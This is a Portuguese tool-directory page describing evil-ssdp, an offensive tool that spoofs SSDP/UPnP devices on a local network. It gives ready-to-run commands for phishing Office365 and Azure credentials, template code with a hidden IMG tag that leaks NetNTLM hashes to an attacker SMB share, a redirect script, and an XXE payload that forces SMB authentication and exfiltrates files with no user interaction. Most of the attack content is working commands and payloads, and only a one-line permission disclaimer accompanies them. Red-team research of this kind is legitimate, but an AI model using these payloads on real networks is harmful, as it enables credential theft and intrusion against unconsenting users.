Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/initstring/evil-ssdp
Análise de VulnerabilidadesExploraçãoEvasão de IDS/IPSFerramentas de ImpersonaçãoPhishingSegurança de RedeTestes de PenetraçãoEngenharia SocialRed Teaming
GitHubinitstring/evil-ssdp

evil-ssdp

Falsificar respostas SSDP e criar dispositivos UPnP falsos para pescar credenciais e desafio/resposta NetNTLM.

441100há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

Visão Geral

Esta ferramenta responde a solicitações de descoberta multicast SSDP, fazendo-se passar por um dispositivo UPNP genérico. Seu dispositivo falsificado aparecerá magicamente no Windows Explorer em máquinas da sua rede local. Usuários que forem tentados a abrir o dispositivo verão uma página de phishing configurável. Esta página pode carregar uma imagem oculta via SMB, permitindo capturar ou retransmitir o desafio/resposta NetNTLM.

Modelos também são fornecidos para capturar credenciais em texto claro via autenticação básica e formulários de login, e criar seus próprios modelos personalizados é rápido e fácil.

Isso não requer credenciais existentes para executar e funciona mesmo em redes que se protegeram contra ataques Responder desabilitando NETBIOS e LLMNR. Qualquer sistema operacional ou aplicativo que utilize SSDP/UPNP pode ser alvo, mas a maior parte da weaponização atual tem sido direcionada ao Windows 10.

Vídeo: Visão Geral de Phishing

Como bônus, esta ferramenta também pode detectar e explorar potenciais vulnerabilidades de dia zero nos mecanismos de análise XML de aplicações que usam SSDP/UPNP. Se um dispositivo vulnerável for encontrado, ele o alertará na interface e então montará seu compartilhamento SMB ou exfiltrará dados SEM NENHUMA INTERAÇÃO DO USUÁRIO através de um ataque de Entidade Externa XML (XXE).

Vídeo: Visão Geral de 0-Day

Uso

A execução mais básica se parece com isso:

root@kitploit:~
evil_ssdp.py eth0

Você precisa fornecer a interface de rede no mínimo. A interface é usada tanto para a interação UDP SSDP quanto para hospedar um servidor web para os arquivos XML e a página de phishing.

A ferramenta atualizará automaticamente uma tag IMG na página de phishing usando o IP da interface que você fornecer. Para trabalhar com desafio/resposta, você precisará iniciar um servidor SMB nessa interface (como o Impacket). Este endereço pode ser personalizado com a opção -s.

Alguns cenários de exemplo:

root@kitploit:~
# Use wlan0 para anúncio de dispositivo e phishing, capturando NetNTLM e
# solicitando texto claro através de um formulário falsificado do Office365. Redirecione para
# Microsoft após capturar as credenciais:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'

# Mesmo que acima, mas assumindo que seu servidor SMB está rodando em outro IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
    -s 192.168.1.205

# Solicite credenciais usando autenticação básica e redirecione para Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
    'https://azure.microsoft.com/auth/signin/' -b

# Espere por uma vulnerabilidade XXE para capturar NetNTLM enquanto Impacket/Responder está rodando
em wlan0:
evil_ssdp.py wlan0 -t xxe-smb

Detalhes completos de uso:

root@kitploit:~
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
                    [-u URL]
                    interface

positional arguments:
  interface             Network interface to listen on.

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  Port for HTTP server. Defaults to 8888.
  -t TEMPLATE, --template TEMPLATE
                        Name of a folder in the templates directory. Defaults
                        to "office365". This will determine xml and phishing
                        pages used.
  -s SMB, --smb SMB     IP address of your SMB server. Defalts to the primary
                        address of the "interface" provided.
  -b, --basic           Enable base64 authentication for templates and write
                        credentials to log file.
  -r REALM, --realm REALM
                        Realm when prompting target for authentication via
                        Basic Auth.
  -u URL, --url URL     Redirect to this URL. Works with templates that do a
                        POST for logon forms and with templates that include
                        the custom redirect JavaScript (see README for more
                        info).[example: -r https://google.com]
  -a, --analyze         Run in analyze mode. Will NOT respond to any SSDP
                        queries, but will still enable and run the web server
                        for testing.

Modelos

Os seguintes modelos acompanham a ferramenta. Se você tiver boas habilidades de design, contribua com um seu!

  • office365: Aparecerá no Windows Explorer como "Office365 Backups". Página de phishing com aparência de login do Office365 que envia credenciais via POST de volta para você. Estas serão sinalizadas na interface e registradas no arquivo de log. Recomenda-se executar com '-u https://www.office.com' para redirecionar os usuários ao site legítimo após roubar suas credenciais. Desenvolvedor: pentestgeek.
  • scanner: Aparecerá no Windows Explorer como um scanner com o nome "Corporate Scanner [3 NEW SCANS WAITING]". Clicar duas vezes levará a uma página de login de aparência genérica. Este modelo se beneficiaria de personalização para seu alvo específico. Modelo em grande parte copiado de este modelo.
  • microsft-azure: Aparecerá no Windows Explorer como "Microsoft Azure Storage". A página de destino é a página de login do Windows Live quando os cookies estão desabilitados. Recomenda-se usar com a opção -u para redirecionar os usuários à página de login real. Desenvolvedor: Dwight Hohnstein.
  • bitcoin: Aparecerá no Windows Explorer como "Bitcoin Wallet". A página de phishing é apenas um conjunto aleatório de informações de chave privada/pública/endereço Bitcoin. Não há fundos reais nessas contas.
  • password-vault: Aparecerá no Windows Explorer como "IT Password Vault". A página de phishing contém uma lista curta de senhas falsas / chaves SSH / etc.
  • xxe-smb: Provavelmente não aparecerá no Windows Explorer. Usado para encontrar vulnerabilidades de dia zero em analisadores XML. Acionará um alerta "XXE - VULN" na interface para acertos e tentará forçar clientes a autenticar com o servidor SMB, com 0 interação.

Criar seus próprios modelos é fácil. Basta copiar a pasta de um modelo existente e editar os seguintes arquivos:

  • device.xml: Aqui é onde você definirá a aparência do dispositivo dentro do Windows Explorer.
  • present.html: Esta é a página de phishing exibida quando um alvo abre o dispositivo malicioso. Crie o que quiser aqui. Note que o template de string do Python analisará isso, então você precisará usar $$ no lugar de $ em qualquer lugar para escapar do mecanismo de template.
  • service.xml: Ainda não implementado. Pode ser necessário para falsificação UPNP mais complexa no futuro.

Na sua página de phishing (present.html), use variáveis como as seguintes para funcionalidade adicional:

root@kitploit:~
# A linha a seguir iniciará um desafio/resposta NetNTLM usando o endereço IP
# da interface que você fornecer ou de um IP opcionalmente especificado:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />

# O seguinte usará o redirecionamento de URL opcionalmente especificado. Isso é
# útil quando usado com autenticação básica para redirecionar para um site válido. Esta
# linha está embutida no modelo microsoft-azure:
    <script>
	    var url = "$redirectUrl";
    	    if (url != "") {
	    	document.location = url;
	    }
    </script>


# Se estiver usando um formulário HTTP para capturar credenciais em texto claro, use código como o
# seguinte. Além disso, qualquer modelo que faça uma requisição POST suportará automaticamente
# o parâmetro '-u' para redirecionar após a conclusão do POST. A ferramenta
# monitorará POSTs para esta URL em busca de credenciais:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">

A ferramenta atualmente cria dispositivos corretamente apenas para o tipo de dispositivo 'Basic' do UPNP, embora esteja respondendo às consultas SSDP para todos os tipos de dispositivos. Se você conhece bem UPNP, pode criar um novo modelo com os parâmetros corretos para atender requisições de outros tipos de dispositivo também. Ainda há muito a explorar aqui com a exploração de aplicações específicas e a forma como elas esperam e aproveitam dispositivos UPNP.

Detalhes Técnicos

O Simple Service Discovery Protocol (SSDP) é usado por sistemas operacionais (Windows, MacOS, Linux, IOS, Android, etc.) e aplicações (Spotify, Youtube, etc.) para descobrir dispositivos compartilhados em uma rede local. É a base para descobrir e anunciar dispositivos Universal Plug & Play (UPNP).

Dispositivos tentando descobrir recursos de rede compartilhados enviarão um multicast UDP para 239.255.255.250 na porta 1900. A porta de origem é aleatória. Um exemplo de requisição se parece com isso:

root@kitploit:~
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3

Para interagir com este host, precisamos capturar tanto a porta de origem quanto o cabeçalho 'ST' (Service Type). A resposta DEVE ser enviada para a porta de origem correta e DEVE incluir o cabeçalho ST correto. Note que não é apenas o sistema operacional Windows que está procurando dispositivos - escanear uma rede típica mostrará uma grande quantidade de requisições de aplicações dentro do SO (como Spotify), celulares e outros dispositivos de mídia. O Windows só vai colaborar se você responder com o ST correto; outras fontes são mais tolerantes.

evil_ssdp extrairá o ST solicitado e enviará uma resposta como a seguinte:

root@kitploit:~
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

Os cabeçalhos (especificamente LOCATION, 01-NLS, ST e USN) são construídos dinamicamente. Isso informa ao solicitante onde encontrar mais informações sobre nosso dispositivo. Aqui, estamos forçando o Windows (e outros solicitantes) a acessar e analisar nosso arquivo XML 'Device Descriptor'. O USN é apenas uma string aleatória e precisa apenas ser único e formatado corretamente.

evil_ssdp puxará o arquivo 'device.xml' da pasta de modelos escolhida e preencherá dinamicamente algumas variáveis, como seu endereço IP. Este arquivo 'Device Descriptor' é onde você pode personalizar alguns nomes amigáveis e descrições que soam tentadores. Ele se parece com isso:

root@kitploit:~
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://$local_ip:$local_port</URLBase>
  <device>
    <presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
    <deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
    <friendlyName>Office365 Backups</friendlyName>
    <modelDescription>Secure Storage for Office365</modelDescription>
    <manufacturer>MS Office</manufacturer>
    <modelName>Office 365 Backups</modelName>
    <UDN>$session_usn</UDN>
    <serviceList>
      <service>
        <serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
        <serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
        <controlURL>/ssdp/service-desc.xml</controlURL>
        <eventSubURL>/ssdp/service-desc.xml</eventSubURL>
        <SCPDURL>/ssdp/service-desc.xml</SCPDURL>
      </service>
    </serviceList>

  </device>
</root>

Uma linha chave neste arquivo contém a 'Presentation URL'. É isso que será carregado no navegador do usuário se ele decidir clicar duas vezes manualmente no dispositivo UPNP. evil_ssdp hospedará este arquivo automaticamente (present.html da pasta de modelo escolhida), inserindo seu endereço IP de origem em uma tag IMG para acessar um compartilhamento SMB que você pode hospedar com ferramentas como Impacket, Responder ou Metasploit.

A tag IMG se parece com isso:

root@kitploit:~
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>

Caça a 0-Day

Por padrão, esta ferramenta essencialmente força dispositivos na rede a analisar um arquivo XML. Existe um ataque bem conhecido contra aplicações que analisam XML - Processamento de Entidade Externa XML (XXE).

Este tipo de ataque contra dispositivos UPNP provavelmente é negligenciado - simplesmente porque o método de ataque é complexo e não imediatamente aparente. No entanto, evil_ssdp torna muito fácil testar dispositivos vulneráveis em sua rede. Basta executar a ferramenta e procurar por um grande [XXE VULN!!!] na saída. NOTA: usar o modelo xxe provavelmente não gerará dispositivos maliciosos visíveis pela LAN, ele é destinado apenas a cenários de interação zero.

Isso é alcançado fornecendo um arquivo XML de Device Descriptor com o seguinte conteúdo:

root@kitploit:~
<?xml version="1.0"?>
<!DOCTYPE data [ 
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>

Quando um analisador XML vulnerável lê este arquivo, ele montará automaticamente o compartilhamento SMB (permitindo quebrar o hash ou retransmitir) e também acessará uma URL HTTP para notificá-lo de que foi descoberto. A notificação conterá os cabeçalhos HTTP e um endereço IP, o que deve lhe dar algumas informações sobre a aplicação vulnerável. Se você vir isso, por favor entre em contato com o fornecedor para corrigir o problema. Além disso, adoraria saber sobre quaisquer dias zero que você encontrar usando a ferramenta. E mencione a ferramenta no seu CVE.

Agradecimentos

  • Agradecimentos a ZeWarren e seu projeto aqui. Usei extensivamente para entender como fazer o básico do SSDP funcionar.
  • Agradecimentos ao pentest geek e seus modelos de phishing aqui. Usei a página de login do Office365 de lá.
  • Agradecimentos a Dwight Hohnstein por seu ótimo trabalho na implementação de recursos legais como autenticação básica, suporte a realm e redirecionamento automático no evil_ssdp. Ele gentilmente escreveu e forneceu código para fazer isso funcionar.
  • Agradecimentos às seguintes pessoas por enviarem correções de bugs:
    • Nadar, Ender Akbas, bubbleguuum

Também agradecimentos à Microsoft por desenvolver muitas coisas inseguras divertidas para brincar.

Esta é uma ferramenta de pesquisa de segurança. Use apenas onde for concedida permissão explícita do proprietário da rede.

Baixar ferramenta
  • xxe-exfil: Outro exemplo de busca por vulnerabilidades XXE, mas desta vez tentando exfiltrar um arquivo de teste de um host Windows. Claro, você pode personalizar isso para procurar qualquer arquivo específico desejado, Windows ou Linux. Nas aplicações vulneráveis que descobri, a exfiltração funciona apenas em um arquivo sem espaços em branco ou quebras de linha. Isso se deve à forma como é injetado na URL de uma requisição GET. Se você conseguir fazer isso funcionar em arquivos com várias linhas, POR FAVOR me diga como fez.